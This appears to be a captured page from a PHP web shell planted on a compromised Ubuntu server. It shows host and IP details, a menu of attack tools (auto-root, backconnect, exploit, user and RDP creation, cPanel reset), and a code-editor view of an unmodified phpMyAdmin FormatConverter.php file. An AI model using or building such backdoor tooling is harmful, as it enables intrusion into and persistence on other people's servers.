Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.189
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
phpmyadmin /
libraries /
classes /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
FormatConverter.php
1.81
KB
-rw-r--r--
HttpRequest.php
9.3
KB
-rw-r--r--
SessionCache.php
1.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FormatConverter.php
<?php /** * Format converter */ declare(strict_types=1); namespace PhpMyAdmin\Utils; use PhpMyAdmin\Util; use function bin2hex; use function hex2bin; use function inet_ntop; use function inet_pton; use function ip2long; use function long2ip; use function strpos; use function substr; /** * Format converter */ class FormatConverter { /** * Transforms a binary to an IP * * @param mixed $buffer Data to transform * * @return false|string */ public static function binaryToIp($buffer, bool $isBinary) { if (strpos($buffer, '0x') !== 0) { return $isBinary ? bin2hex($buffer) : $buffer; } $ipHex = substr($buffer, 2); $ipBin = hex2bin($ipHex); if ($ipBin === false) { return $buffer; } return @inet_ntop($ipBin); } /** * Transforms an IP to a binary * * @param mixed $buffer Data to transform * * @return string */ public static function ipToBinary($buffer) { $val = @inet_pton($buffer); if ($val !== false) { return '0x' . bin2hex($val); } return $buffer; } /** * Transforms an IP to a long * * @param string $buffer Data to transform * * @return int|string */ public static function ipToLong(string $buffer) { $ipLong = ip2long($buffer); if ($ipLong === false) { return $buffer; } return $ipLong; } /** * Transforms a long to an IP * * @param mixed $buffer Data to transform */ public static function longToIp($buffer): string { if (! Util::isInteger($buffer) || $buffer < 0 || $buffer > 4294967295) { return $buffer; } return (string) long2ip((int) $buffer); } }
Close